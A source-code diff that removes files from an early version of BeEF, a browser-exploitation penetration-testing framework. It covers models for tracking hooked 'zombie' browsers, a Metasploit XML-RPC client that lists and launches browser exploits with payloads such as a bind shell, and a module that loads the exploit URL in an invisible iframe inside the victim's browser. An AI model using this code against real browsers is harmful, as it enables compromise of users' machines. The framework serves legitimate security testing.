storage_names[:default] = 'autoloading'
property :id, Serial
property :in_use, Boolean
belongs_to :command
end
end
end

View File

@@ -1,95 +0,0 @@
module BeEF
module Models
class BrowserDetails
include DataMapper::Resource
attr_reader :guard
#
# Class constructor
#
def initialize(config)
# we set up a mutex
super(config)
@@guard = Mutex.new
end
storage_names[:default] = 'browser_details'
property :session_id, Text, :key => true
property :detail_key, Text, :lazy => false, :key => true
property :detail_value, Text, :lazy => false
#
# Returns the requested value from the data store
#
def self.get(session_id, key)
browserdetail = first(:session_id => session_id, :detail_key => key)
return nil if browserdetail.nil?
return nil if browserdetail.detail_value.nil?
return browserdetail.detail_value
end
#
# Stores a key->value pair into the data store
#
def self.set(session_id, detail_key, detail_value)
# if the details already exist don't re-add them
return nil if not get(session_id, detail_key).nil?
# store the returned browser details
browserdetails = BeEF::Models::BrowserDetails.new(
:session_id => session_id,
:detail_key => detail_key,
:detail_value => detail_value)
@@guard.synchronize {
result = browserdetails.save
# if the attempt to save the browser details fails return a bad request
raise WEBrick::HTTPStatus::BadRequest, "Failed to save browser details" if result.nil?
}
browserdetails
end
#
# Returns the icon representing the browser type the
# hooked browser is using (i.e. Firefox, Internet Explorer)
#
def self.browser_icon(session_id)
browser = get(session_id, 'BrowserName')
return BeEF::Constants::Agents::AGENT_IE_IMG if browser.eql? "IE" # Internet Explorer
return BeEF::Constants::Agents::AGENT_FIREFOX_IMG if browser.eql? "FF" # Firefox
return BeEF::Constants::Agents::AGENT_SAFARI_IMG if browser.eql? "S" # Safari
return BeEF::Constants::Agents::AGENT_CHROME_IMG if browser.eql? "C" # Chrome
return BeEF::Constants::Agents::AGENT_OPERA_IMG if browser.eql? "O" # Opera
BeEF::Constants::Agents::AGENT_UNKNOWN_IMG
end
#
# Returns the icon representing the os type the
# zombie is running (i.e. Windows, Linux)
#
def self.os_icon(session_id)
ua_string = get(session_id, 'BrowserReportedName')
return BeEF::Constants::Os::OS_UNKNOWN_IMG if ua_string.nil? # Unknown
return BeEF::Constants::Os::OS_WINDOWS_IMG if ua_string.include? BeEF::Constants::Os::OS_WINDOWS_UA_STR # Windows
return BeEF::Constants::Os::OS_LINUX_IMG if ua_string.include? BeEF::Constants::Os::OS_LINUX_UA_STR # Linux
return BeEF::Constants::Os::OS_IPHONE_IMG if ua_string.include? BeEF::Constants::Os::OS_IPHONE_UA_STR # iPhone - do this before Mac, because it includes Mac
return BeEF::Constants::Os::OS_MAC_IMG if ua_string.include? BeEF::Constants::Os::OS_MAC_UA_STR # Mac OS X
BeEF::Constants::Os::OS_UNKNOWN_IMG
end
end
end
end

View File

@@ -1,53 +0,0 @@
module BeEF
module Models
class Command
include DataMapper::Resource
storage_names[:default] = 'commands'
property :id, Serial
property :data, Text
property :creationdate, String, :length => 15, :lazy => false
property :label, Text, :lazy => false
property :instructions_sent, Boolean, :default => false
has n, :results
has n, :autoloadings
#
# Save results and flag that the command has been run on the hooked browser
#
# @param: {String} the session_id. Must have been checked with BeEF::Filter.is_valid_hook_session_id?(hook_session_id) before use in this function.
# @param: {String} the command_id. Must have been checked with BeEF::Filter.is_valid_commmamd_id?(command_id) before use in this function.
# @param: {String} the command friendly name. Must have been checked with command_friendly_name.empty? before use in this function.
# @param: {String} the result of the command module. Must have been checked with result.empty? before use in this function.
#
def self.save_result(hook_session_id, command_id, command_friendly_name, result)
# get the hooked browser structure and id from the database
zombie = BeEF::Models::Zombie.first(:session => hook_session_id) || nil
raise WEBrick::HTTPStatus::BadRequest, "zombie is nil" if zombie.nil?
raise WEBrick::HTTPStatus::BadRequest, "zombie.id is nil" if zombie.id.nil?
zombie_id = zombie.id
raise WEBrick::HTTPStatus::BadRequest, "zombie.ip is nil" if zombie.ip.nil?
zombie_ip = zombie.ip
# get the command module data structure from the database
command = first(:id => command_id.to_i, :zombie_id => zombie_id) || nil
raise WEBrick::HTTPStatus::BadRequest, "command is nil" if command.nil?
# create the entry for the results
command.results.new(:zombie_id => zombie_id, :data => result.to_json, :date => Time.now.to_i)
command.save
# log that the result was returned
BeEF::Logger.instance.register('Command', "The '#{command_friendly_name}' command module was successfully executed against '#{zombie_ip}'", zombie_id)
end
end
end
end

View File

@@ -1,21 +0,0 @@
module BeEF
module Models
class CommandModule
include DataMapper::Resource
storage_names[:default] = 'command_modules'
property :id, Serial
property :path, Text, :lazy => false
property :name, Text, :lazy => false
has n, :commands
has 1, :dynamic_command_info
end
end
end

View File

@@ -1,17 +0,0 @@
module BeEF
module Models
class DistributedEngineRules
include DataMapper::Resource
storage_names[:default] = 'distributed_engine_rules'
property :id, Serial
property :data, Text
property :enabled, Boolean
end
end
end

View File

@@ -1,20 +0,0 @@
module BeEF
module Models
class DynamicCommandInfo
include DataMapper::Resource
storage_names[:default] = 'dynamic_command_info'
property :id, Serial
property :name, Text, :lazy => false
property :description, Text, :lazy => false
property :targets, Text, :lazy => false
belongs_to :command_module
end
end
end

View File

@@ -1,21 +0,0 @@
module BeEF
module Models
class DynamicPayloadInfo
include DataMapper::Resource
storage_names[:default] = 'dynamic_payload_info'
property :id, Serial
property :name, String, :length => 15
property :value, String, :length => 30
property :required, Boolean, :default => false
property :description, Text, :lazy => false
belongs_to :dynamic_payloads
end
end
end

View File

@@ -1,19 +0,0 @@
module BeEF
module Models
class DynamicPayloads
include DataMapper::Resource
storage_names[:default] = 'dynamic_payloads'
property :id, Serial
property :name, Text, :lazy => false
has n, :dynamic_payload_info
end
end
end

View File

@@ -1,23 +0,0 @@
module BeEF
module Models
class Http
include DataMapper::Resource
storage_names[:default] = 'http'
property :id, Serial
property :request, Text, :lazy => true
property :response, Text, :lazy => true
property :method, Text, :lazy => false
property :content_length, Text, :lazy => false, :default => 0
property :domain, Text, :lazy => false
property :path, Text, :lazy => false
property :date, DateTime, :lazy => false
property :has_ran, Boolean, :default => false
end
end
end

View File

@@ -1,19 +0,0 @@
module BeEF
module Models
class Log
include DataMapper::Resource
storage_names[:default] = 'logs'
property :id, Serial
property :type, Text, :lazy => false
property :event, Text, :lazy => false
property :date, DateTime, :lazy => false
property :zombie_id, Text, :lazy => false
end
end
end

View File

@@ -1,17 +0,0 @@
module BeEF
module Models
class OptionCache
include DataMapper::Resource
storage_names[:default] = 'option_cache'
property :id, Serial
property :name, Text
property :value, Text
end
end
end

View File

@@ -1,17 +0,0 @@
module BeEF
module Models
class Plugin
include DataMapper::Resource
storage_names[:default] = 'plugins'
property :id, Serial
property :data, Text, :lazy => false
property :path, Text, :lazy => false
end
end
end

View File

@@ -1,17 +0,0 @@
module BeEF
module Models
class Result
include DataMapper::Resource
storage_names[:default] = 'results'
property :id, Serial
property :date, String, :length => 15, :lazy => false
property :data, Text
end
end
end

View File

@@ -1,24 +0,0 @@
module BeEF
module Models
class User
include DataMapper::Resource
storage_names[:default] = 'users'
property :id, Serial
property :session_id, Text
property :ip, Text
#
# Checks if the user has been authenticated
#
def authenticated?
true || false if not @ip.nil?
end
end
end
end

View File

@@ -1,69 +0,0 @@
module BeEF
module Models
class Zombie
include DataMapper::Resource
storage_names[:default] = 'zombies'
property :id, Serial
property :session, Text, :lazy => false
property :ip, Text, :lazy => false
property :firstseen, String, :length => 15
property :lastseen, String, :length => 15
property :httpheaders, Text, :lazy => false
property :domain, Text, :lazy => false # the domain originating the hook request
property :count, Integer, :lazy => false
property :has_init, Boolean, :default => false
has n, :commands
has n, :results
has n, :logs
has n, :https
#
# Increases the count of a zombie
#
def count!
if not self.count.nil? then self.count += 1; else self.count = 1; end
end
#
# Returns the icon representing the browser type the
# zombie is using (i.e. Firefox, Internet Explorer)
#
def browser_icon
agent = JSON.parse(self.httpheaders)['user-agent'].to_s || nil
return BeEF::Constants::Agents::AGENT_UNKNOWN_IMG if agent.nil?
return BeEF::Constants::Agents::AGENT_IE_IMG if agent.include? BeEF::Constants::Agents::AGENT_IE_UA_STR
return BeEF::Constants::Agents::AGENT_FIREFOX_IMG if agent.include? BeEF::Constants::Agents::AGENT_FIREFOX_UA_STR
return BeEF::Constants::Agents::AGENT_MOZILLA_IMG if agent.include? BeEF::Constants::Agents::AGENT_MOZILLA_UA_STR
return BeEF::Constants::Agents::AGENT_SAFARI_IMG if agent.include? BeEF::Constants::Agents::AGENT_SAFARI_UA_STR
return BeEF::Constants::Agents::AGENT_KONQ_IMG if agent.include? BeEF::Constants::Agents::AGENT_KONQ_UA_STR
return BeEF::Constants::Agents::AGENT_CHROME_IMG if agent.include? BeEF::Constants::Agents::AGENT_CHROME_UA_STR
return BeEF::Constants::Agents::AGENT_OPERA_IMG if agent.include? BeEF::Constants::Agents::AGENT_OPERA_UA_STR
BeEF::Constants::Agents::AGENT_UNKNOWN_IMG
end
#
# Returns the icon representing the os type the
# hooked browser is running (i.e. Windows, Linux)
#
def os_icon
agent = JSON.parse(self.httpheaders)['user-agent'].to_s || nil
return BeEF::Constants::Os::OS_UNKNOWN_IMG if agent.nil?
return BeEF::Constants::Os::OS_WINDOWS_IMG if agent.include? BeEF::Constants::Os::OS_WINDOWS_UA_STR
return BeEF::Constants::Os::OS_LINUX_IMG if agent.include? BeEF::Constants::Os::OS_LINUX_UA_STR
return BeEF::Constants::Os::OS_MAC_IMG if agent.include? BeEF::Constants::Os::OS_MAC_UA_STR
BeEF::Constants::Os::OS_UNKNOWN_IMG
end
end
end
end

View File

@@ -1,309 +0,0 @@
module BeEF
#
# This module contains a list of utils functions to use
# when writing commands.
#
module CommandUtils
# Format a string to support multiline in javascript.
def format_multiline(text); text.gsub(/\n/, '\n'); end
end
#
# The Command Module Context is being used when evaluating code in eruby.
# In other words, we use that code to add funky functions to the
# javascript templates of our commands.
#
class CommandContext < Erubis::Context
include BeEF::CommandUtils
def initialize(hash=nil);
super(hash);
end
end
#
# This class is the base class for all command modules in the framework.
#
# Two instances of this object are created during the execution of command module.
#
class Command
attr_reader :info, :datastore, :path, :default_command_url, :beefjs_components, :friendlyname
attr_accessor :zombie, :command_id, :session_id, :target
include BeEF::CommandUtils
BD = BeEF::Models::BrowserDetails
UNKNOWN = BeEF::Constants::Browsers::UNKNOWN
ALL = BeEF::Constants::Browsers::ALL
IE = BeEF::Constants::Browsers::IE
S = BeEF::Constants::Browsers::S
FF = BeEF::Constants::Browsers::FF
C = BeEF::Constants::Browsers::C
O = BeEF::Constants::Browsers::O
VERIFIED_WORKING = BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_WORKING
VERIFIED_NOT_WORKING = BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_NOT_WORKING
VERIFIED_USER_NOTIFY = BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_USER_NOTIFY
VERIFIED_UNKNOWN = BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_UNKNOWN
# Super class controller
def initialize(info)
@info = info
@datastore = @info['Data'] || {}
@friendlyname = @info['Name'] || nil
@target = @info['Target'] || nil
@output = ''
@path = @info['File'].sub(BeEF::HttpHookServer.instance.root_dir, '')
@default_command_url = '/command/'+(File.basename @path, '.rb')+'.js'
@id = BeEF::Models::CommandModule.first(:path => @info['File']).object_id
@use_template = false
@auto_update_zombie = false
@results = {}
@beefjs_components = {}
end
# This function is called just before the intructions are sent to hooked browser.
# The derived class can use this function to update params used in the command module.
def pre_send;
end
# Callback method. This function is called when the hooked browser sends results back.
def callback; end
# If the command requires some data to be sent back, this function will process them.
def process_zombie_response(head, params); end
# Returns true if the command needs configurations to work. False if not.
def needs_configuration?; !@datastore.nil?; end
# Returns information about the command in a JSON format.
def to_json
{
'Name' => info['Name'],
'Description' => info['Description'],
'Category' => info['Category'],
'Data' => info['Data']
}.to_json
end
# Builds the 'datastore' attribute of the command which is used to generate javascript code.
def build_datastore(data);
@datastore = JSON.parse(data)
end
# Sets the datastore for the callback function. This function is meant to be called by the CommandHandler
#
# build_callback_datastore(http_params, http_header)
#
def build_callback_datastore(http_params, http_header)
@datastore = {'http_headers' => {}} # init the datastore
# get, check and add the http_params to the datastore
http_params.keys.each { |http_params_key|
raise WEBrick::HTTPStatus::BadRequest, "http_params_key is invalid" if not BeEF::Filter.is_valid_command_module_datastore_key?(http_params_key)
http_params_value = Erubis::XmlHelper.escape_xml(http_params[http_params_key])
raise WEBrick::HTTPStatus::BadRequest, "http_params_value is invalid" if not BeEF::Filter.is_valid_command_module_datastore_param?(http_params_value)
@datastore[http_params_key] = http_params_value # add the checked key and value to the datastore
}
# get, check and add the http_headers to the datastore
http_header.keys.each { |http_header_key|
raise WEBrick::HTTPStatus::BadRequest, "http_header_key is invalid" if not BeEF::Filter.is_valid_command_module_datastore_key?(http_header_key)
http_header_value = Erubis::XmlHelper.escape_xml(http_header[http_header_key][0])
raise WEBrick::HTTPStatus::BadRequest, "http_header_value is invalid" if not BeEF::Filter.is_valid_command_module_datastore_param?(http_header_value)
@datastore['http_headers'][http_header_key] = http_header_value # add the checked key and value to the datastore
}
end
# set the target details
# this function is used when determining the code of the node icon
def set_target(definition)
@target = [] if not @target
@target.push(definition)
end
# verify whether this command module has been checked against the target browser
# this function is used when determining the code of the node icon
def verify_target
return VERIFIED_UNKNOWN if not @target # no target specified in the module
# loop through each definition and check it
@target.each {|definition|
return definition['verified_status'] if test_target(definition)
}
return VERIFIED_UNKNOWN
end
# test if the target definition matches the hooked browser
# this function is used when determining the code of the node icon
def test_target_attribute(hb_attr_name, hb_attr_ver, target_attr_name, target_attr_max_ver, target_attr_min_ver)
# check if wild cards are set
return true if not target_attr_name
return true if target_attr_name.nil?
return true if target_attr_name.eql? ALL
# can't answer based on hb_attr_name
return false if not hb_attr_name
return false if hb_attr_name.nil?
return false if hb_attr_name.eql? UNKNOWN
# check if the attribute is targeted
return false if not target_attr_name.eql? hb_attr_name
# assume that the max version and min version were purposefully excluded
return true if target_attr_max_ver.nil? && target_attr_min_ver.nil?
# check if the framework can detect hb version
return false if hb_attr_ver.eql? 'UNKNOWN'
# check the version number is within range
return false if hb_attr_ver.to_f > target_attr_max_ver.to_f
return false if hb_attr_ver.to_f < target_attr_min_ver.to_f
# all the checks passed
true
end
# test if the target definition matches the hooked browser
# this function is used when determining the code of the node icon
def test_target(target_definition)
# if the definition is nill we don't know
return false if target_definition.nil?
# check if the browser is a target
hb_browser_name = get_browser_detail('BrowserName')
hb_browser_version = get_browser_detail('BrowserVersion')
target_browser_name = target_definition['browser_name']
target_browser_max_ver = target_definition['browser_max_ver']
target_browser_min_ver = target_definition['browser_min_ver']
browser_match = test_target_attribute(hb_browser_name, hb_browser_version, target_browser_name, target_browser_max_ver, target_browser_min_ver)
# check if the operating system is a target
hb_os_name = get_browser_detail('OsName')
target_os_name = target_definition['os_name']
os_match = test_target_attribute(hb_os_name, nil, target_os_name, nil, nil)
return browser_match && os_match
end
# Store the browser detail in the database.
def set_browser_detail(key, value)
raise WEBrick::HTTPStatus::BadRequest, "@session_id is invalid" if not BeEF::Filter.is_valid_hook_session_id?(@session_id)
BD.set(@session_id, key, value)
end
# Get the browser detail from the database.
def get_browser_detail(key)
raise WEBrick::HTTPStatus::BadRequest, "@session_id is invalid" if not BeEF::Filter.is_valid_hook_session_id?(@session_id)
BD.get(@session_id, key)
end
# Tells the framework that the command module will be using a template file.
def use_template!;
tpl = @info['File'].sub(/.rb$/, '.js')
@template = tpl if File.exists? tpl
@use_template = true;
end
# Returns true if the command uses a template. False if not.
def use_template?; @use_template; end
# Returns the output of the command. These are the actual instructions sent to the browser.
def output
if use_template? # and @template
raise WEBrick::HTTPStatus::BadRequest, "@template is nil" if @template.nil?
raise WEBrick::HTTPStatus::BadRequest, "@template file does not exist" if not File.exists? @template
@eruby = Erubis::FastEruby.new(File.read(@template))
if @datastore
@datastore['command_url'] = BeEF::HttpHookServer.instance.get_command_url(@default_command_url)
@datastore['command_id'] = @command_id
command_context = BeEF::CommandContext.new
@datastore.each{|k,v|
command_context[k] = v
}
@output = @eruby.evaluate(command_context)
else
@ouput = @eruby.result()
end
end
@output
end
# Returns the results for the zombie.
def get_results
return '' if @results.length.eql? 0
@results.to_json
end
# Saves the results received from the zombie.
def save(results);
@results = results;
end
# Tells the framework to load a specific module of the BeEFJS library that
# the command will be using.
#
# use 'beef.net.local'
# use 'beef.encode.base64'
#
def use(component)
return if @beefjs_components.include? component
component_path = '/'+component
component_path.gsub!(/beef./, '')
component_path.gsub!(/\./, '/')
component_path.replace "#{$root_dir}/modules/beefjs/#{component_path}.js"
raise "Invalid beefjs component for command module #{@path}" if not File.exists?(component_path)
@beefjs_components[component] = component_path
end
def map_file_to_url(file, path=nil, extension=nil, count=1)
return BeEF::AssetHandler.instance.bind(file, path, extension, count)
end
def oc_value(name)
option = BeEF::Models::OptionCache.first(:name => name)
return nil if not option
return option.value
end
def apply_defaults()
@datastore.each { |opt|
opt["value"] = oc_value(opt["name"]) || opt["value"]
}
end
private
@use_template
@eruby
@update_zombie
@results
end
end

View File

@@ -1,176 +0,0 @@
module BeEF
#
# XML RPC Client for Metasploit
#
class MsfClient < ::XMLRPC::Client
include Singleton
def initialize
@config = BeEF::Configuration.instance
@enabled = (@config.get('enable_msf').to_i > 0)
return if (not @enabled)
host = @config.get('msf_host')
path = @config.get('msf_path')
port = @config.get('msf_port')
@un = @config.get('msf_user')
@pw = @config.get('msf_pass')
@lock = false
if(not host or not path or not port or not @un or not @pw)
print "There is not enough information to initalize Metasploit connectivity at this time. Please check your options in config.ini to verify that all information is present\n"
@enabled = false
end
@token = nil
@lastauth = nil
super(host,path,port)
end
def get_lock()
sleep 0.2 while @lock
@lock = true
end
def release_lock()
@lock = false
end
# is metasploit enabled in the configuration
def is_enabled
@enabled
end
# login into metasploit
def login
get_lock()
res = self.call("auth.login", @un ,@pw )
if(not (res and res['result'] == "success"))
@enabled = false
release_lock()
return false
end
@token = res['token']
@lastauth = Time.now
release_lock()
true
end
# sends commands to the metasploit xml rpc server
def call(meth, *args)
return if not @enabled
if(meth != "auth.login")
self.login() if not @token
args.unshift(@token)
end
begin
super(meth, *args)
rescue Errno::ECONNREFUSED
print "WARNING: Connection to Metasploit backend failed. This is typically because it is either not running your connection information is incorrect, please verify this information and try again. Metasploit capabilities have been disabled until this is fixed\n"
@enabled = false
return false
rescue XMLRPC::FaultException => e
if e.faultCode == 401 and meth == "auth.login"
print "WARNING: Your username and password combination was rejected by the Metasploit backend server. Please verify your settings and restart the BeEF server. Metasploit connectivity has been disabled.\n"
@enabled = false
elsif e.faultCode == 401
res = self.login()
else
print "WARNING: An unknown exception has occured while talking to the Metasploit backend. The Exception text is (#{e.faultCode} : #{e.faultString}. Please check the Metasploit logs for more details.\n"
end
return false
rescue Exception => e
print "WARNING: An unknown exception (#{e}) has occured while talking to the Metasploit backend. Please check the Metasploit logs for more details.\n"
return false
end
end
def browser_exploits()
return if not @enabled
get_lock()
res = self.call('module.exploits')
return [] if not res or not res['modules']
mods = res['modules']
ret = []
mods.each do |m|
ret << m if(m.include? '/browser/')
end
release_lock()
ret.sort
end
def get_exploit_info(name)
return if not @enabled
get_lock()
res = self.call('module.info','exploit',name)
release_lock()
res || {}
end
def get_payloads(name)
return if not @enabled
get_lock()
res = self.call('module.compatible_payloads',name)
release_lock()
res || {}
end
def get_options(name)
return if not @enabled
get_lock()
res = self.call('module.options','exploit',name)
release_lock()
res || {}
end
def payloads()
return if not @enabled
get_lock()
res = self.call('module.payloads')
release_lock()
return {} if not res or not res['modules']
res['modules']
end
def payload_options(name)
return if not @enabled
get_lock()
res = self.call('module.options','payload',name)
release_lock
return {} if not res
res
end
def launch_exploit(exploit,opts)
return if not @enabled
get_lock()
begin
res = self.call('module.execute','exploit',exploit,opts)
rescue Exception => e
print "Exploit failed for #{exploit} \n"
release_lock()
return false
end
release_lock()
uri = ""
if opts['SSL']
uri += "https://"
else
uri += "http://"
end
uri += @config.get('msf_callback_host') + ":" + opts['SRVPORT'] + "/" + opts['URIPATH']
res['uri'] = uri
res
end
end
end

View File

@@ -1,216 +0,0 @@
module BeEF
module Modules
module Commands
class Msf < BeEF::Command
def initialize
super({
'Name' => 'Generic Metasploit Exploit',
'Description' => %Q{
This module will launch a Metasploit exploit against the host
},
'Category' => 'Metasploit',
'Author' => ['sussurro'],
'Data' => [ ],
'File' => __FILE__,
})
use 'beef.dom'
end
def callback
save({'result' => @datastore['result']})
end
#
def update_info(id)
mod = BeEF::Models::CommandModule.first(:id => id)
msfinfo = nil
targets = []
if mod.dynamic_command_info == nil
msf = BeEF::MsfClient.instance
msf.login()
msfinfo = msf.get_exploit_info(mod.name)
st = mod.name.split('/').first
puts "st: " + st
os_name = BeEF::Constants::Os::match_os(st)
browsers = BeEF::Constants::Browsers::match_browser(msfi['name'] + msfi['targets'].to_json)
targets << {'os_name' => os_name, 'browser_name' => 'ALL', 'verified_status' => 3} if browsers.count == 0
browsers.each do |bn|
targets << {'os_name' => os_name, 'browser_name' => bn, 'verified_status' => 1}
end
targets << {'os_name' => "ALL", 'verified_status' => 0 }
mod.dynamic_command_info = BeEF::Models::DynamicCommandInfo.new(
:name => msfinfo['name'],
:description => msfinfo['description'],
:targets => targets.to_json);
mod.save
else
msfinfo = mod.dynamic_command_info
targets = JSON.parse(msfinfo['targets'])
end
@info['Name'] = msfinfo['name']
@info['Description'] = msfinfo['description']
@info['MsfModName'] = mod.name
@info['mod-id'] = mod.id
@info['msfid'] = mod.name
@target = targets
end
def update_data()
modname = @info['MsfModName']
msf = BeEF::MsfClient.instance
if not msf.is_enabled
@info['Description'] += "<BR>" + "*"*15 + "WARNING" + "*"*15 + "<BR>"
@info['Description'] += "Metasploit capapbilities have been disabled, please verify your configuration or if msf_enabled = 1 then check the BeEF console for errors"
return
end
msfoptions = msf.get_options(modname)
msfoptions.keys.each { |k|
next if msfoptions[k]['advanced'] == true
next if msfoptions[k]['evasion'] == true
@info['Data'] << { 'name' => k + '_txt', 'type' => 'label', 'text' => msfoptions[k]['desc']}
case msfoptions[k]['type']
when "string","address","port"
msfoptions[k]['default'] = rand(32**20).to_s(32) if k == "URIPATH"
@info['Data'] << {'name' => k , 'ui_label' => k, 'value' => (oc_value(k) || msfoptions[k]['default'])}
when "bool"
@info['Data'] << {'name' => k, 'type' => 'checkbox', 'ui_label' => k }
when "enum"
enumdata = []
msfoptions[k]['enums'].each { |e|
enumdata << [e]
}
@info['Data'] << { 'name' => k, 'type' => 'combobox', 'ui_label' => k, 'store_type' => 'arraystore', 'store_fields' => ['enum'], 'store_data' => enumdata, 'valueField' => 'enum', 'displayField' => 'enum' , 'autoWidth' => true, 'mode' => 'local', 'value' => (oc_value(k) || msfoptions[k]['default'])}
else
print "K => #{k}\n"
print "Status => #{msfoptions[k]['advanced']}\n"
end
}
msfpayloads = msf.get_payloads(modname)
return if not msfpayloads or not msfpayloads['payloads']
payloads = msfpayloads['payloads']
pl = []
pl << [(oc_value('PAYLOAD') || 'generic/shell_bind_tcp')]
payloads.each { |p|
pl << [p]
}
@info['Data'] << { 'name' => 'PAYLOAD',
'type' => 'combobox',
'anchor' => '95% -100',
'ui_label' => 'Payload',
'store_type' => 'arraystore',
'store_fields' => ['payload'],
'store_data' => pl,
'valueField' => 'payload',
'displayField' => 'payload' ,
'autoWidth' => true,
'mode' => 'local',
'reloadOnChange' => true, # this will trigger a reload of the payload options
'emptyText' => "select a payload..."}
@info['Data'] << { 'name' => 'mod_id' , 'id' => 'mod_id', 'type' => 'hidden', 'value' => @info['mod-id'] }
end
def get_payload_options(payload_name)
# get payload options from metasploit
msf_xmlrpc_clinet = BeEF::MsfClient.instance
msf_xmlrpc_clinet.login()
payload_options = msf_xmlrpc_clinet.payload_options(payload_name)
info = {}
info['Data'] = []
payload_options.keys.each { |k|
next if payload_options[k]['advanced'] == true
next if payload_options[k]['evasion'] == true
info['Data'] << { 'name' => k + '_txt', 'type' => 'label', 'text' => payload_options[k]['desc']}
case payload_options[k]['type']
when "string","address","port","raw","path", "integer"
payload_options[k]['default'] = "127.0.0.1" if k == "RHOST"
info['Data'] << {'name' => k , 'ui_label' => k, 'value' => (oc_value(k) || payload_options[k]['default'])}
when "bool"
info['Data'] << {'name' => k, 'type' => 'checkbox', 'ui_label' => k }
when "enum"
info['Data'] << { 'name' => k, 'type' => 'combobox', 'ui_label' => k, 'store_type' => 'arraystore', 'store_fields' => ['enum'], 'store_data' => payload_options[k]['enums'], 'valueField' => 'enum', 'displayField' => 'enum' , 'autoWidth' => true, 'mode' => 'local', 'value' => (oc_value(k) || payload_options[k]['default'])}
else
# Debug output if the payload option type isn't found
puts "K => #{k}\n"
puts "Status => #{payload_options[k]['advanced']}\n"
puts "Type => #{payload_options[k]['type']}\n"
puts payload_options[k]
end
}
# turn results into JSON
payload_options_json = []
payload_options_json[1] = JSON.parse(info.to_json)
JSON.parse(info.to_json)
end
def launch_exploit(opts)
msf = BeEF::MsfClient.instance
msf.login()
ret = msf.launch_exploit(@info['msfid'],opts)
@output = "<script>alert('#{ret['uri']}')</script>\n" if ret['result'] == 'success'
ret
end
def output
if @datastore
@datastore['command_url'] = BeEF::HttpHookServer.instance.get_command_url(@default_command_url)
@datastore['command_id'] = @command_id
end
return "
beef.execute(function() {
var result;
try {
var sploit = beef.dom.createInvisibleIframe();
sploit.src = '#{datastore['sploit_url']}';
} catch(e) {
for(var n in e)
result+= n + ' ' + e[n] ;
}
});"
end
def callback
content = {}
content['Exploit Results'] = @datastore['result']
save content
end
end
end
end
end

View File

@@ -1,23 +0,0 @@
# The following file contains patches for WEBrick.
module WEBrick
class Cookie
attr_accessor :httponly
def to_s
ret = ""
ret << @name << "=" << @value
ret << "; " << "Version=" << @version.to_s if @version > 0
ret << "; " << "Domain=" << @domain if @domain
ret << "; " << "Expires=" << @expires if @expires
ret << "; " << "Max-Age=" << @max_age.to_s if @max_age
ret << "; " << "Comment=" << @comment if @comment
ret << "; " << "Path=" << @path if @path
ret << "; " << "Secure" if @secure
ret << "; " << "HttpOnly" if @httponly
ret
end
end
end

View File

@@ -1,15 +0,0 @@
# The following file contains patches for WEBrick.
module WEBrick
class HTTPServer < ::WEBrick::GenericServer
# I'm patching WEBrick so it does not log http requests anymore.
# The reason being that it seems to considerably slow down BeEF which receives
# numerous requests simultaneously. Additionally, it was also found to crash
# the thread when not being able to write to the log file (which happened when
# overloaded).
def access_log(config, req, res); return; end
end
end

View File

@@ -1,77 +0,0 @@
# The following file contains patches for WEBrick.
module WEBrick
class HTTPRequest
# I'm patching the HTTPRequest class so that it when it receives POST
# http requests, it parses the query present in the body even if the
# content type is not set.
#
# The reason for this patch is that when a zombie sends back data to
# BeEF, that data was not parsed because by default the content-type
# was not set directly. I prefer patching WEBrick rather than editing
# the BeEFJS library because cross domain http requests would be harder
# to implement at the server level.
#
# Note: this function would need to be modified if we ever needed to
# use multipart POST requests.
def parse_query()
begin
if @request_method == "GET" || @request_method == "HEAD"
@query = HTTPUtils::parse_query(@query_string)
elsif @request_method == 'POST' || self['content-type'] =~ /^application\/x-www-form-urlencoded/
@query = HTTPUtils::parse_query(body)
elsif self['content-type'] =~ /^multipart\/form-data; boundary=(.+)/
boundary = HTTPUtils::dequote($1)
@query = HTTPUtils::parse_form_data(body, boundary)
else
@query = Hash.new
end
rescue => ex
raise HTTPStatus::BadRequest, ex.message
end
end
def get_cookie_value(name)
return nil if name.nil?
@cookies.each{|cookie|
c = WEBrick::Cookie.parse_set_cookie(cookie.to_s)
return c.value if (c.name.to_s.eql? name)
}
nil
end
def get_referer_domain
referer = header['referer'][0]
if referer =~ /\:\/\/([0-9a-zA-A\.]*(\:[0-9]+)?)\//
return $1
end
nil
end
def get_hook_session_id()
config = BeEF::Configuration.instance
hook_session_name = config.get('hook_session_name')
@query[hook_session_name] || nil
end
# return the command module command_id value from the request
def get_command_id()
@query['command_id'] || nil
end
end
end

View File

@@ -1,75 +0,0 @@
# The following file contains patches for WEBrick.
module WEBrick
class HTTPResponse
#
# set caching headers none
#
def set_no_cache()
@header['ETag'] = nil
@header['Last-Modified'] = Time.now + 100**4
@header['Expires'] = Time.now - 100**4
@header['Cache-Control'] = 'no-store, no-cache, must-revalidate, post-check=0, pre-check=0'
@header['Pragma'] = 'no-cache'
end
#
# set the cookie in the response
# Limit: only one set-cookie will be within the response
#
def set_cookie(name, value, path = '/', httponly = true, secure = true)
cookie = WEBrick::Cookie.new(name, value)
cookie.path = path
cookie.httponly = httponly
cookie.secure = secure
# add cookie to response header
@header['Set-Cookie'] = cookie.to_s
end
#
# This patch should prevent leakage of directory listing, access
# auth errors, etc.
#
def set_error(ex, backtrace=false)
# set repsonse headers
@status = 404;
@header['content-type'] = "text/html; charset=UTF-8"
# set response content
@body = ''
@body << <<-_end_of_html_
<HTML>
<HEAD>
<TITLE>No page for you!</TITLE>
<STYLE type="text/css">
BODY { font: 8pt/12pt verdana }
H1 { font: 13pt/15pt verdana }
H2 { font: 8pt/12pt verdana }
A:link { color: black; text-decoration: none }
A:visited { color: black; text-decoration: none }
</STYLE>
</HEAD><BODY>
<TABLE width=500 border=0 cellspacing=10>
<TR>
<TD>
<h1><a href="http://www.bindshell.net/tools/beef/">These aren't the pages you're looking for</a></h1>
</TD>
</TR>
</TABLE>
</BODY>
</HTML>
_end_of_html_
end
end
end

View File

@@ -1,32 +0,0 @@
# The following file contains patches for WEBrick.
module WEBrick
module HTTPServlet
class FileHandler
# prevent directory traversal attacks
def prevent_directory_traversal(req, res)
raise WEBrick::HTTPStatus::BadRequest, "null character in path" if has_null?(req.path_info)
if trailing_pathsep?(req.path_info)
expanded = File.expand_path(req.path_info + "x")
expanded.chop! # remove trailing "x"
else
expanded = File.expand_path(req.path_info)
end
req.path_info = expanded
end
# checks if a string contains null characters
def has_null? (str)
str.split(//).each {|c|
return true if c.eql?("\000")
}
false
end
end
end
end

View File

@@ -1,74 +0,0 @@
module BeEF
#
# Class defining BeEF assets
#
